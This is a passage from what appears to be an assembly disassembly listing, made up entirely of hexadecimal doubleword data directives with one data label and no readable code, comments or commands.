		dd 3755B05Ch, 36276AB2h, 62D4D5h, 7091A8CBh, 8100898Fh
		dd 23A62DF6h, 62BE43h, 58D30B6Dh, 171B5E4Bh, 6A4A2F07h
		dd 47713561h, 6C30CD08h, 16B31D10h, 0ABA840FEh,	6D0D21B7h
		dd 3F697E00h, 7D084119h, 0D00A07D1h, 709188F1h,	0C65B4815h
		dd 1EFD5C00h, 0ECB6CAF4h, 64120034h, 0E739F14Eh, 409FB798h
		dd 19E36A9h, 594B90D8h,	0CC68E072h, 5200C87Ah, 0D0EBB18Ah
		dd 0C3C063B2h, 4BD75D28h, 0C5BC0800h, 0D0E779AEh, 0EA7A3A56h
		dd 60F5B33Fh, 0CC31214Ah, 44632D5Ah, 0A0643248h, 4C46AAh
		dd 30157E34h, 0DEA18F7Bh, 855F3D00h, 0D7E13F0Ch, 1A13186Bh
		dd 2EA71BFh, 33512C00h,	0EEE7329Ah, 283C7C4Fh, 0DD6AD0h
		dd 92214A7Fh, 3E2C07DFh, 4B40BF50h, 3608AA60h, 0E05A35h
		dd 9C05CC13h, 8719EB2h,	1ADA8700h, 9C86730h, 0F8610043h
		dd 0EFB1BD90h, 0B0179C5Dh, 74002162h, 2BFCA983h, 0B67A0089h
		dd 188C9A47h, 17CDE43h,	95777807h, 0B74076B2h, 0AED75A2h
		dd 0B4540B16h, 8B6A00C3h, 0A3FACF10h, 391B1703h, 0B5D90Eh
		dd 2BB8DAA2h, 261D8875h, 16578E00h, 0BF49D6A9h,	87B703CFh
		dd 1CF0DDDEh, 5F6BAFB8h, 4E5DD8A9h, 2780AE04h, 50CDA8DBh
		dd 251C640Fh, 7ED1C014h, 3ECAE32Ch, 1B006547h, 5BA92FD0h
		dd 8E00ACF8h, 9572452Eh, 1FFFCFBDh, 1F6DF2Bh, 89793F23h
		dd 141AF094h, 6E072502h, 64937E86h, 566F0F3Ch, 61A095B8h
		dd 834681E1h, 25AE5Ch, 0FC59E58Fh, 7BEB8EADh, 18E1E801h
		dd 8B6311Fh, 18C0BE63h,	0B0F6F4DBh, 0CB6D0057h,	0F8A45CEDh
		dd 0B6003C51h, 0E1348730h, 0AA6BFFh, 2224BBE0h,	8F0C3321h
		dd 17E9591Eh, 9F322D00h, 0E3B734h, 0B18BF7D0h, 4F5CACF5h
		dd 16C1FF60h, 0A72DF33h, 0DE4BA873h, 8528078Ch,	3EE1C052h
		dd 80A17BB1h, 0DCDBED17h, 64005120h, 39B7801Eh,	7A7D3CBh
		dd 9D45FD6Fh, 0FA7AC02Eh, 40053097h, 0D71CDB2Ch, 4494B805h
		dd 8FE38C47h, 93E27690h, 541628DAh, 0B0E13FBCh,	0B0D45EA8h
		dd 4BCE309Dh, 0DFCAEE18h, 0E60AC8A4h, 83031BDh,	0F240591Eh
		dd 414EE332h, 0FC8C98FDh, 11B300AEh, 0B4949D38h, 0FE1E45D4h
		dd 0D94044C0h, 9C294A7Dh, 1C6E2BBh, 843E78B7h, 8349DAF3h
		dd 75C53770h, 133000FFh, 4A566B34h, 8F63362h, 45FC7E18h
		dd 80678EA0h, 0A3000291h, 525DB666h, 7A09A11Bh,	5F77B9h
		dd 13E828BAh, 0FA765ECFh, 0A14B8300h, 0D208967Ch, 0B15F0087h
		dd 44818566h, 72017DDDh, 0B225D03Dh, 7026BB04h,	44536EA0h
		dd 189ACD00h, 0D0AF78C8h, 20A8A46Ch, 391D665Eh,	0D8A8F7EDh
		dd 3F6C9E06h, 74409306h, 0B1A87628h, 3156004Ch,	36D0E819h
		dd 0B7BF7A0Ch, 0C05E086Eh, 19397121h, 0C81C108Dh, 0F784FD4Ah
		dd 3082B23Fh, 1C608315h, 0BAE2C017h, 0A580C543h, 1AEA80EDh
		dd 5D78AEF1h, 0C9AFBD30h, 48A4CBD1h, 7B010742h,	0D2132A3Bh
		dd 0BC38805Fh, 46D8ABBBh, 487E4897h, 691A3600h,	1E2202ECh
		dd 49864430h, 243EF7C3h, 274FF56h, 0D93B1969h, 16F1C99h
		dd 18742EDBh, 5D2612E2h, 0AD200108h, 20E3B1BAh,	3E021884h
		dd 0EA5E4117h, 1FD4C4AFh, 9E78B07Eh, 4BDF432Ch,	8249A13h
		dd 5480607Ah, 214478A8h, 0A031031Eh, 11F176D1h,	8A3EE398h
		dd 0B868F468h, 3B80AE11h, 66D0E219h, 0F75F448Ch, 1F196300h
		dd 0A1E2E90Eh, 0DF550292h, 0AE507188h, 114D1860h, 2CBBBA26h
		dd 0DD251B00h, 623F30A6h, 0BE9E9914h, 702C3061h, 0F8A52934h
		dd 0AF615BE4h, 2C043024h, 1FECD148h, 460A3812h,	0DC85F8B9h
		dd 0A4C2EA1Ah, 3B446114h, 0C0AF4834h, 0EA02F921h, 310033CAh
		dd 0DBF714E9h, 6049AE53h
		dd 0DE2599AFh, 0AD70B77Ch, 0B8DCD426h, 1BBBBF01h, 0C99259CBh
		dd 37FC007Dh, 0AA6C17E7h, 3084DE4Dh, 0EE9A2169h, 465018F2h
		dd 0D82979B0h, 24437701h, 97621752h, 755DA03Eh,	5199CB00h
		dd 0A8FBAD38h, 0BFCD1230h, 31900960h, 3AC3B090h, 79ECAB01h
		dd 0F7D8C532h, 60CB1030h, 0C237716Ch, 87001024h, 0B9595205h
		dd 9DA7AAh, 9AEEFF7Dh, 215455E8h, 4F261490h, 993164ADh
		dd 33CC8B3Bh, 0D44E4826h, 82987D26h, 7523BD31h,	7AEB3868h
		dd 0E0415841h, 0B10C6F13h, 1627CF88h, 71F5B5D7h, 22490550h
		dd 3072F260h, 300022B0h, 4303845Ah, 94CAD5F5h, 4D2780C4h
		dd 0B33FBED8h, 0FCEEC9C3h, 0D8D9F386h, 1870EA74h, 3164CB06h
		dd 7903CCF3h, 19714DD2h, 21710E22h, 120E435Eh, 91CFCB24h
		dd 80A3AF38h, 3D5B6FA9h, 17A013h, 8BA8DC2Ch, 0C0E0D4A1h
		dd 3B7EB000h, 4C893AC4h, 74B41D79h, 0B98285Ch, 0E461750h
		dd 54845832h, 8ACA6763h, 31043209h, 0FB10A354h,	0B400EA08h
		dd 0EB89501Dh, 139FB7D7h, 1F87B54Bh, 0BD012308h, 0D22C0D78h
		dd 75887C18h, 0E47800B5h, 704A6DD4h, 249083F9h,	4C14E484h
		dd 8028EC5Eh, 2C1E78B6h, 39D0A79Ah, 8078AE9Dh, 6C82A311h
		dd 0B0263CE6h, 8E0898A7h, 2F3D8F68h, 42D0BAEDh,	143015A0h
		dd 0E73D10F2h, 1CA4E007h, 249724F2h, 1322C124h,	0E6CC65E2h
		dd 900374E4h, 0B0326DE0h, 89C100A1h, 71224C9Fh,	6B0BF692h
		dd 9093E9B5h, 6278D00h,	0CB5E8F3Fh, 40007167h, 6508D877h
		dd 75B9902h, 0E00C6326h, 20E460D4h, 1A7AE139h, 0C94968E6h
		dd 0D2240014h, 92CAF9E8h, 0C3C1C0E6h, 0B6D9C141h, 645600B8h
		dd 0EA1902F8h, 331C32B0h, 1FA41CCh, 2426E5EAh, 8CEFCC40h
		dd 1378B304h, 7B62C22Ch, 78AB6F20h, 0CF7500BEh,	0EBB3D691h
		dd 444C4A3Eh, 0C0B488F8h, 0D01C193Dh, 53221646h, 19460500h
		dd 44FAD79Bh, 50520763h, 21D02BC5h, 455EEA0Bh, 544851C4h
		dd 930480A8h, 8D21F379h, 5B5270C7h, 7F9F020Ah, 62CB8082h
		dd 0A36DD0A0h, 0EF733AF1h, 8CA5B402h, 0C0B8E43Dh, 887953ACh
		dd 0AB30DAADh, 0CD33C037h, 487B60B3h, 5042E3F0h, 3C98E8BAh
		dd 83818FBh, 1ED0E519h,	44A58C4h, 6B250094h, 0A61F6C86h
		dd 0D7C68502h, 5009ED81h, 0F4DE52A0h, 7181C1Eh,	209A318Eh
		dd 8A4C3AB6h, 8216203h,	0C830C473h, 63C2139Eh, 0C3D19051h
		dd 27B4D28Ch, 6E46186Eh, 0B6EA1F02h, 0A1310C32h, 0EA07FC10h
		dd 0BFFFB201h, 4F9A764Eh, 915060E2h, 0F2C774FDh, 0AAD02CBh
		dd 122E9E34h, 0D0C1504Dh, 0F760144Ah, 1DB4A8DCh, 1F9899B0h
		dd 5BE44032h, 0FF07B94Eh, 70201203h, 0F8D8E634h, 9523C62h
		dd 6977C533h, 7A113C9Fh, 0E32BD881h, 94E87422h,	20D44754h
		dd 7C0A60E9h, 0DB2CC517h, 19DEA105h, 25C61DFAh,	0C44084h
		dd 0DBCB7DB0h, 42BCA078h, 79F0B1C0h, 3B8B186Ah,	0F3023B50h
		dd 0D645302Ch, 0B1E14D1h, 0AB3FB105h, 741FA040h, 1CC4E2h
		dd 0C70570E0h, 4E3DF90Eh, 0BEA6E707h, 0AE7006D0h, 3B3417E9h
		dd 7F30CB6Dh, 4CCD18F9h, 77D3390Ah, 0A1CBD55h, 118A6C80h
		dd 14222BDh, 3B5F71CDh,	620EE3B0h, 0A86E0670h, 0B766074h
		dd 0F833F12h, 0E13BBC00h, 0E231C9BBh, 0B646D9DFh, 0DE81A9BCh
		dd 25790E56h, 8349D0E7h, 987E1207h, 89F03B90h, 26396255h
		dd 41B8AEA3h, 6BB5B0EBh, 0EEB4BFB0h, 13C148BAh,	0A09FE005h
		dd 8A0D7F5h, 30F2E1C0h,	6BEF21E7h, 97007391h, 0A179F2E9h
		dd 0D717D0D3h, 0C403D52Bh, 8C5C3EE2h, 0F7B1F880h, 18E06F4Fh
		dd 2F6F6C40h, 70C3CBEBh, 0C0C88ADFh, 0C8F85A14h, 0E2C00781h
		dd 46E73BF2h, 0E27422F7h, 4BF200EAh, 227DA497h,	3748B2F3h
		dd 4C120B38h, 2F3048D6h, 1B090192h, 0C2FDFF90h,	1042E1EDh
		dd 0B040A7h, 0FA78EAF9h, 4BD85C35h, 0A244E37Ah,	9A4000F4h
		dd 3B1CE493h, 0D0084FD3h, 44AFB03Dh, 6BCB046Dh,	4160D04Fh
		dd 0A2EB7091h, 8CC70CDFh, 0C982AA27h, 0A2185299h, 14E8203Eh
		dd 0E987B8h, 1270885h, 6D6CE48Fh, 0A9603431h, 342479AEh
		dd 6E16182Ch, 0D7E8BAD2h, 1627663Fh, 2801E9CEh,	0E0D9081Eh
		dd 55E3020h, 33F98675h,	1E888805h, 0BCE84148h, 0B8028C7Fh
		dd 0CD26E132h, 24EC807Ch, 2E7B4DEh, 9BC1A82Fh, 9C606425h
		dd 0DF0F3190h, 8FA76ACFh, 4313829Ah, 0C7E862F9h, 60704430h
		dd 0A2C57Fh, 240F061Eh,	0B478E0A0h, 8CB3D42Eh, 4676C026h
		dd 5A480386h, 0BBF0F4Eh, 0F3F23E1Eh, 0D749C003h, 8844B28Ah
		dd 21142404h, 1CCD5E7Eh, 1AC68A4h, 0CB0665E0h, 0FE198366h
		dd 0F8F5D111h, 0A025B260h, 0A6319988h, 0D8B345F8h, 0EB092565h
		dd 8081BDD3h, 0B771762Ah, 50380530h, 21862217h,	22C046C8h
		dd 306AF2CCh, 3B004E54h, 0B9F6CBF1h, 604662B4h,	615781A9h
		dd 6E004FBAh, 0AEDB0CD5h, 70E53294h, 0FBFB0F8h,	0B72BB489h
		dd 6C8C0356h, 0F909463Ah, 2043F7C9h, 0FF4EE6E0h, 3C089082h
		dd 2E07A228h, 8294B5F9h, 0EC522B3Dh, 987ADE00h,	0C3B63CCAh
		dd 0F8ED482Fh, 72EC3848h, 2FE1008Ch, 1231FB65h,	0B0F150Ch
		dd 0E9F3D2DFh, 6E080072h, 31D5B61Dh, 46C1A26Dh,	0B8F980ADh
		dd 0CC9B788Eh, 5CB50616h, 0B0A4312Fh, 0EFDFC318h, 3046E099h
		dd 0D418A303h, 39131154h, 0FC026378h, 0C447833Eh, 2F675B8h
		dd 1E502D9h, 0EC966994h, 2D05367Ch, 40051FE2h, 8F91C00h
		dd 0E4980F99h, 0CA000CAh, 0ABB5468Ch, 733BD1EFh, 236787F9h
		dd 1E8E25ECh, 105D013h,	0C4404592h, 6923712Dh, 1D9478F4h
		dd 608C352Fh, 9CAD932Eh, 0E31946C0h, 226E46D0h,	62F6025Ah
		dd 0A8AF4919h, 2F57A048h, 8B1C2600h, 0EB723BF4h, 50807FFh
		dd 6C5DEDh, 4D96E32Ch, 38EAB498h, 20B2A3FEh, 0F04EE012h
		dd 846FA44Fh, 2401D09Fh, 0F2F47A3Fh, 0BC526872h, 3253E254h
		dd 0F0522287h, 0E5D632C0h, 2C76040Eh, 90F0FEEBh, 48C3CD31h
		dd 1E00045Fh, 0AD37DBDCh, 0B269FBD9h, 0E4F04548h, 6C6B60A7h
		dd 50A224FFh, 0BF717D2h, 0E285CF8Fh, 0BD6C80D3h, 7325ED30h
		dd 0A4100089h, 482FD0DBh, 1C8741Ch, 31F2E0C0h, 7118E3E7h
		dd 0E89888h, 0A2CBF5F2h, 76E0A504h, 0BE0E7873h,	41B9B81Dh
		dd 9327CFA4h, 85B08FFAh, 0D0A30592h, 693058E2h,	0CC40717h
		dd 0D9DE6D85h, 0A4E48C65h, 10A29760h, 1D047270h, 0C3DEE1CAh
		dd 0E768F8A0h, 0B088C04Fh, 0CFA535C0h, 125092B4h, 0C086EB2Bh
		dd 61E94114h, 0A9089909h, 0A1F0A083h, 0C5B13AEAh, 0A229F420h
		dd 3059E2A0h, 1B0024EFh, 0DFD16BF5h, 24BD336Fh,	812C704Bh
		dd 2A3EE796h, 26606CB0h, 0EEDCD0BFh, 75AC1403h,	5D2494E2h
		dd 0F9CA1854h, 90018A3Bh, 52273F58h, 0F83C45DBh, 0F931A501h
		dd 6336B55Dh, 3085A2E4h, 430E495Dh, 82D9F7F6h, 0D0F4ED39h
		dd 6C9E0454h, 0D292C940h, 2542FFF4h, 30ED3080h,	4090637Eh
		dd 0C4ECCA09h, 0B7070141h, 58382A2Bh, 8C52B8h, 216D1102h
		dd 0F5E62092h, 0E3792200h, 0A97258B3h, 8470B4DAh, 4DF7DBD1h
		dd 0BC41C8F0h, 0E600D64Bh, 0B04C413Eh, 171E277Ch, 80729170h
		dd 8166EF88h, 21CF01CAh, 132B5CC1h, 2040C64Eh, 9017F43h
		dd 233BD19Ah, 0D050BE47h, 16D471C2h, 4B0F4366h,	0E780170Ch
		dd 5E75791Dh, 44141B58h, 6C00F018h, 811287D2h, 12BB631h
		dd 0E3502202h, 3508E0AEh, 0F0906614h, 5947D6h, 2D2B502Ah
		dd 62E1559Dh, 93E41674h, 1033E82Ch, 0C0567613h,	64CDC01h
		dd 0DC392A3Fh, 98544528h
		dd 8217006Dh, 61319C1Bh, 2F243D7Ch, 0E68274BBh,	0F880C746h
		dd 473318F4h, 216E39AAh, 58886700h, 3442220Dh, 14132C72h
		dd 6D6A0300h, 3CC00820h, 18F81747h, 3086E90Dh, 3C6DF910h
		dd 513C2058h, 5565AF40h, 0A4A24C19h, 0E93077E2h, 0D988034Fh
		dd 5F0E2D8Eh, 791106C0h, 0D56C120Bh, 0F3B2811Ah, 50385D16h
		dd 0D8FA3D22h, 0C30D500h, 0B954449Ch, 0C09A0BD7h, 0E8807DE7h
		dd 3ABF32AEh, 82778625h, 90ECAD30h, 2B81EA0h, 0AFA1F8EDh
		dd 0D44252D7h, 6B4A9860h, 68C41481h, 8130DEEh, 4278E161h
		dd 4820BF14h, 12FB91F0h, 833B1A23h, 2CB832A4h, 6054CC30h
		dd 8000194h, 0FEDF3D1h,	2525410Eh, 0B01D287Bh, 62BB7508h
		dd 9340906Eh, 462486ABh, 0AD85A81Fh, 0D04018E0h, 9E7D756Ch
		dd 41A630F3h, 0E0CA1EC8h, 0EC3EE12Ch, 9BF88249h, 0E44504B2h
		dd 0B500F0A8h, 44B8C333h, 129C5Bh, 2DF123A8h, 0EF45C1A9h
		dd 7F7CA0Ch, 16B038A2h,	20213EEBh, 55376C84h, 0F4B88096h
		dd 28358680h, 50F7EEA3h, 2BDB751h, 0D188C79Bh, 5CF91927h
		dd 8D185AF1h, 20312FEAh, 3840F95Bh, 27A84042h, 3B99509Bh
		dd 0E20095E1h, 37896F58h, 12BE9DD5h, 80E7CBC8h,	920B2144h
		dd 1B188295h, 5C4CD819h, 0B04CE4CFh, 14013F23h,	2432BBEAh
		dd 0FF88AE18h, 81EA001Ch, 0DF54C4BFh, 820B9D64h, 0A9C73EE3h
		dd 11FC9DB8h, 47C09C5Fh, 412137DCh, 0EAAE072Eh,	925F2320h
		dd 0F44181A1h, 0C070C0ADh, 3086D0A1h, 18C97DB8h, 46BF03C9h
		dd 1510FEB7h, 0E47FD831h, 490F5D04h, 0C0CD8529h, 79BABC14h
		dd 0CAE8AE03h, 6B16D2h,	75CD37A9h, 9D44C20Dh, 1FE1290Ah
		dd 0A3601C2Ah, 4B7FE8ADh, 27C000E3h, 5BDDFDF3h,	9AB56400h
		dd 0C9EAB632h, 11B125C2h, 0A4C43445h, 0C6D0B460h, 3813A600h
		dd 2AE32278h, 0E480C970h, 60A72404h, 25E1193Ch,	80453ED0h
		dd 19647080h, 9ECAB8F0h, 0E1013E0Ch, 4D10F889h,	0ADFED054h
		dd 3552B302h, 0F096B1E0h, 0E14F4098h, 2874F14Ch, 9002893h
		dd 15C77B0Fh, 137D0AFEh, 0AE60F490h, 342C9600h,	45A71ACh
		dd 0EF27C95Dh, 7BC4A0B3h, 332FC312h, 26806441h,	1F2F5975h
		dd 0A3870C50h, 0F494628h, 251C0170h, 4A543627h,	88CE4470h
		dd 9D09B112h, 725AF213h, 0C7A0147Ch, 2E1ED8C1h,	74C30933h
		dd 7B5C7823h, 0C1D4A7DBh, 407DAA30h, 1D584CC8h,	60A02F48h
		dd 8AF39D18h, 9350C655h, 840BE961h, 0D91730h, 8F13B3ECh
		dd 521B2683h, 0D82D3B44h, 94642C0Bh, 0DF78E3F8h, 6358494Dh
		dd 7EB943F0h, 581103D8h, 0AEEE5B4Ch, 0B9BE6081h, 77788018h
		dd 0F89164B3h, 983C9792h, 16C71A00h, 0FBB7625h,	0C34C0F1Ch
		dd 0C734371Eh, 8C481D05h, 5E0BC01Fh, 6F001BF6h,	6837F7A2h
		dd 27E4CAh, 2FEFCC50h, 2B1ABB19h, 30BD9339h, 29D2614Fh
		dd 0FBB402AAh, 0AF6D73C5h, 2C7D38D2h, 0F13D7F00h, 0AE7652D5h
		dd 0C7905C1h, 0C5311E22h, 0D888A086h, 0E0BCA801h, 6F46D968h
		dd 36C0022Fh, 0ECE0671Fh, 28C07DB3h, 6A2C99Eh, 7BE1043Ah
		dd 0B95ADC7Eh, 0ECFA29F8h, 0EA6CD04h, 8510C49Eh, 842043AEh
		dd 22600B91h, 92063B48h, 33BEB06Ah, 49795C0h, 2780A891h
		dd 4574E89h, 0BE57605h,	40851DAFh, 14023CF3h, 5470CB4Bh
		dd 0B245D4C0h, 0BFDF5A02h, 0E042B76Ah, 0A868CC8Dh, 0B9F5F0h
		dd 5685D648h, 0BB021780h, 98E12C00h, 0DB7905C0h, 0A2CCB8ECh
		dd 762C563Ch, 58037046h, 0B0C4D02Eh, 7D6195C1h,	2ED31Ch
		dd 841FA723h, 581A53C0h, 196A5F6h, 0C3C8AFE0h, 9BB16C5Dh
		dd 8AB1D960h, 0D6DC5C28h, 4B3F780Fh, 0F39920FFh, 0C0B3366Dh
		dd 26222421h, 8A774C3Bh, 3D6C1109h, 0C46CC5C0h,	0D2DB6074h
		dd 25ACF006h, 0DCE066EAh, 0B107ED1Ch, 0AD46D552h, 4B177A70h
		dd 0C00903F0h, 4893B44Ah, 72B78900h, 0CC1F9807h, 7B45002Ah
		dd 55ACE1D1h, 1400B060h, 0D7A5EB8h, 5AC61B28h, 695C4092h
		dd 8DA034Ah, 3F9B4B01h,	2CF40A5Ah, 9AEF5EF8h, 94EBEA54h
		dd 78B76034h, 0A2432C1Fh, 78AF5381h, 2A0AFC03h,	7407ED76h
		dd 0E75526F8h, 40AEE532h, 0FAD5B74Ch, 6E950065h, 4D31BCDFh
		dd 30FFD4F1h, 39203660h, 10CC90B6h, 4FF84AADh, 2B835840h
		dd 31F30922h, 1530D17Ah, 9AC9008Bh, 0B0783463h,	39C48128h
		dd 29CC300Fh, 50A41E32h, 7B8820B5h, 5867C77Fh, 0E40399B8h
		dd 0D0A4AD3Eh, 41261386h, 1F200E71h, 67EE5EA5h,	0C783084h
		dd 9695CA2Ch, 0B4700014h, 51E16B78h, 0D133420h,	0E8626708h
		dd 40B08498h, 1C0D7898h, 9332BCEAh, 0FC8A8Eh, 0E1EA15FEh
		dd 58DBD530h, 56013063h, 0F7EC925Fh, 3C2D46h, 0AB9FB5ADh
		dd 0B3A278h, 2C0AA7FAh,	0DF6B7549h, 30C76100h, 0D81E155h
		dd 748A7A14h, 91BBF40Eh, 1853D190h, 43FAD4h, 0C2CB912Bh
		dd 2210C903h, 8486EB26h, 0A7BD3184h, 9D258CACh,	0EDF82064h
		dd 0FD61F710h, 0B288E2B4h, 0DE7F30A1h, 2FEAE0Fh, 0C41380EEh
		dd 0ADE541h, 2C746C5Ch,	781D3EE7h, 289B954Bh, 9C18F1C0h
		dd 8203DFEFh, 97BE155Eh, 83749833h, 0CFB52426h,	0D2A70B30h
		dd 7B43AC20h, 0D93C594Dh, 26DA0B18h, 0BB18906Ah, 9424977Eh
		dd 78B160E9h, 0B22C2319h, 690E8011h, 4DC078A9h,	1E3E1C6Fh
		dd 0E01F5891h, 81F5C8h,	1B4EDD3Dh, 4B4AFF6Ah, 3EE65401h
		dd 886CA19Dh, 18C5FECh,	849017C5h, 2EF4E23Bh, 41E94C22h
		dd 0B3AFF82h, 247245A0h, 40D0EFAh, 494E9353h, 4F5230h
		dd 2481A257h, 506080ECh, 63E4E458h, 26ECBE9h, 0CCE2B8D1h
		dd 96E085AEh, 0B71F614Fh, 67402926h, 0BBE1D4C7h, 0F4395016h
		dd 4EAFF0ADh, 26584092h, 4A03101Dh, 7A6D2000h, 0F3744C12h
		dd 0B798251Bh, 0A07644CAh, 0A99DDB60h, 0B6560E66h, 1620B81Bh
		dd 0C41AD2B2h, 2576433Bh, 9E70EEB7h, 71465634h,	420B900h
		dd 0E18F3C27h, 2C3FCF02h, 535CCEEBh, 7130A124h,	242A1886h
		dd 0B44A765h, 0AC982E9Dh, 7C007A63h, 0C4599128h, 2F2FD0D6h
		dd 0E889C977h, 0C83A58B7h, 2C2F051Ah, 0CA0E60Bh, 0D7DB09D3h
		dd 5C7BFD72h, 9352E90Fh, 7EC58490h, 86F14F2h, 0EE87D893h
		dd 5979A0BEh, 0E998DBECh, 0A8ACDC07h, 92D4F0F1h, 2048E4h
		dd 0E759423Fh, 0F1812A5h, 78C72A00h, 0ADB1462Eh, 86F62619h
		dd 80642EF4h, 0FC3ABD33h, 316D38Eh, 0D008410Dh,	0F2E3C006h
		dd 0FF43E73Ah, 0F2EB9D80h, 25021A92h, 0FAE32298h, 0ED33004Ch
		dd 6C998D97h, 11641D4Bh, 0AA7B80A4h, 13261F69h,	0A79C75A5h
		dd 0D86A5A80h, 6AC2A300h, 897465A0h, 87B4D001h,	62E6DB2Ch
		dd 9ED1A89Dh, 344EA78Fh, 68B0ED25h, 0FC253574h,	15BB0ED2h
		dd 0BA801E8Ch, 9E974C03h, 3E12FA00h, 4AE4BFA1h,	36B505FCh
		dd 0E4256D24h, 0B654AEA4h, 11C4DC4h, 0A8C3D6F2h, 0ADAF49h
		dd 357F7E19h, 0C69DFC92h, 8C295C01h, 0ED37AED2h, 167E5C72h
		dd 883BD87h, 0EC34598h,	3432E9EAh, 88A2AC58h, 0EA0016EDh
		dd 0DC6EBA7Ch, 0B1BC7098h, 78C34140h, 0A4C81BFCh, 0F74888C0h
		dd 32790B26h, 78119BBDh, 0C0285A2Eh, 0B85EA806h, 2764B84Ah
		dd 3C4757EBh, 47607764h, 93005BEDh, 928043CEh, 13C41935h
		dd 0E6BA8242h, 0C9CC2754h, 9CF56C2Ch, 0D133DCh,	8C9FB1C7h
		dd 29BE1A09h, 3C6D8A00h, 5F0F5C14h, 0AF31010Bh,	0B22A1D79h
		dd 0BC682C6Eh, 60268CB0h, 7169B0B5h, 0F58A001Ch, 7F088416h
		dd 7D30E601h, 22DC2B7Bh, 0E2939832h, 307FB2D4h,	5D0FE72Dh
		dd 0E2C0C86Ch, 52ACA126h
dword_50744C	dd 9AD7763Ch, 79189190h, 0F8B41869h, 0D7983E7Dh, 2C3D2FFEh
		dd 2D6C2C21h, 0C9800746h, 0DFA9CBD7h, 573E0C68h, 7C9CAE19h
		dd 0A5875280h, 54ECF9Ch, 2E5113FFh, 93B881F8h, 76BB02A7h
		dd 59756008h, 865C5747h, 0B62E0004h, 5062A6F3h,	0C3C00310h
		dd 15E05A13h, 0EE050E88h, 0B2BED909h, 8EECD90Ch, 24295275h
		dd 60074C70h, 0DDACFA0Ah, 61CB5FE1h, 0B0867010h, 82EBB63Ah
		dd 0F80FF0E8h, 747842FDh, 0C03A406Ch, 7C007E0Eh, 1B72C505h
		dd 391EDD49h, 0F40292CDh, 0AB3BFFCAh, 4132B602h, 8B006174h
		dd 6C4FFAF2h, 4428D48Dh, 8C7CACh, 28C9E173h, 1B1376ACh
		dd 880C9CA2h, 303CBD70h, 9C8128D5h, 8EEB5912h, 401BBCC2h
		dd 6036DB1Ch, 0F3B3103Dh, 28DD8693h, 50C61204h,	0BAC31E00h
		dd 9083E1h, 91D49797h, 0C963806Fh, 2E02654Ah, 2908045Ch
		dd 0E2BD1224h, 0C4E2276Ch, 3A6D2D08h, 0A117C0A0h, 0CA30A51Dh
		dd 613E7945h, 7DDD252Fh, 1B210421h, 9C3C2C85h, 3E9A3A40h
		dd 2E098497h, 30A9E28Ch, 70F14D0h, 206F009h, 41C010CCh
		dd 0F83C00EDh, 0F22C4FF7h, 1E07EF4Ah, 0B8E5AE7Fh, 77707937h
		dd 3B3097D5h, 885857BDh, 0AC08F8E4h, 2E018CA2h,	0CBBF75B4h
		dd 88628883h, 23602BD7h, 10AE0454h, 16F880DEh, 9A2CDB22h
		dd 7589E46Fh, 0EC9070B8h, 140DB0E1h, 5C117AD3h,	3743DDACh
		dd 1CDE7D01h, 22326DE5h, 27CF1CF4h, 0D0A4D892h,	13D49465h
		dd 0E2E8F228h, 94213053h, 0B3A1DA00h, 0DF0DB7EEh, 5823F560h
		dd 12A63B00h, 1327B18Dh, 0CAD62C05h, 60EC1FF7h,	0ACA0462Fh
		dd 0EC880D0Bh, 4572ED25h, 6080E428h, 38E3EDEFh,	24DDD3BAh
		dd 84712107h, 0F2C035C2h, 0BC73E1BCh, 0E901860Ch, 9EFB804h
		dd 6E2A5B38h, 27220074h, 2082A1F2h, 3D4C2699h, 9EC9048Ah
		dd 0B1F4C29Ch, 8B3CBCD4h, 71A51FFFh, 0EB2241FCh, 98142E36h
		dd 0B4D04AB0h, 5A9EE321h, 0EFE4D85Ch, 7D3CB706h, 1897FAEh
		dd 54F8E13Ah, 0D8519078h, 64003F5Bh, 0E77BEBECh, 27CACC1h
		dd 0AE3CBAEFh, 7C7E8B30h, 5680E964h, 139B458Eh,	0F4C1A96Dh
		dd 5505157Ch, 30BAEB17h, 2DDF4088h, 0ACC51E6Ah,	84607BE4h
		dd 0A8038DDCh, 4EE13980h, 8016BDF7h, 0DB5B30CFh, 75D980BCh
		dd 7C2329FDh, 82E4C1Eh,	8CA4E8h, 0E083A78Ch, 14258E79h
		dd 0E2913805h, 90D82D20h, 0A9FC3FD8h, 74C3A300h, 119EFAB4h
		dd 0FCD62CB6h, 4C0800BFh, 73D1A85Ah, 0AF2ADBCDh, 0B65BB0ACh
		dd 92327B0h, 2CB10B98h,	0FC0080D9h, 3CA9B282h, 0C8230F81h
		dd 7A108FDh, 41C65E0Bh,	0CCE32D83h, 0D714CAE2h,	13B4DA3Bh
		dd 6C6FBBE0h, 0A718603h, 8100B447h, 7C82432Bh, 1EE4A1C0h
		dd 119424Ah, 0AE0DA347h, 384E3BD7h, 889BA431h, 0C15EDC93h
		dd 217E0C75h, 54CB6D4h,	3ECCE89Bh, 29D9450h, 7C4DCB10h
		dd 0D89D877Ch, 0C4DC51E9h, 4AF52Fh, 0C04192ADh,	2CF7E6D9h
		dd 6E078066h, 3FC57764h, 2660ED50h, 73C21739h, 9D6482D1h
		dd 2854E8C2h, 0D0A61213h, 2D2A63B0h, 60DC572Ch,	287A708h
		dd 473AF32Bh, 0EFD33700h, 4AED0199h, 63EE9DFFh,	0D618E443h
		dd 3E05541Ch, 0E5D11740h, 1DE87C3Ch, 80C82008h,	0E46D1A5Fh
		dd 8C61267h, 203D09h, 29C80825h, 39DC034Fh, 5DD4D10Fh
		dd 8B3CA3E9h, 3749C66Ch, 0C0084EC0h, 0E043D863h, 75BA500h
		dd 7213033Bh, 2A7003ECh, 88B517E9h, 5C3C2800h, 0A25A542h
		dd 510C0C2Dh, 5E0824F1h, 3A3161C0h, 9B7DA5h, 0B6F44AC4h
		dd 0BE7B5D6Bh, 10290326h, 6EBB7E06h, 0C8D119E0h, 98095992h
		dd 5F184714h, 0B6D30CBh, 0E6708B30h, 875DB1C0h,	616F6ED3h
		dd 0CF152856h, 0BF0270A4h, 0B0239339h, 5AAFD142h, 224B00C5h
		dd 0DB90E903h, 4E75C660h, 0CE4F200h, 39687FB9h,	38710C30h
		dd 5C3950C0h, 0FA42400h, 0EC054CD6h, 5A09CCBDh,	4007FC21h
		dd 6A9B1A4h, 68E47B87h,	0BB432EC1h, 7ECBA340h, 4AEE2852h
		dd 218469Ch, 0A24A541h,	17553125h, 0F8A53913h, 2DE6FFD1h
		dd 75C03F4h, 2E986830h,	54335271h, 14A40F07h, 61C428D6h
		dd 0A4177741h, 6609EC0Ah, 984F6F28h, 0B9D1AA15h, 1D533DC4h
		dd 258EA75Dh, 49BD2084h, 0C08EB548h, 0D35713B1h, 3B02E5DFh
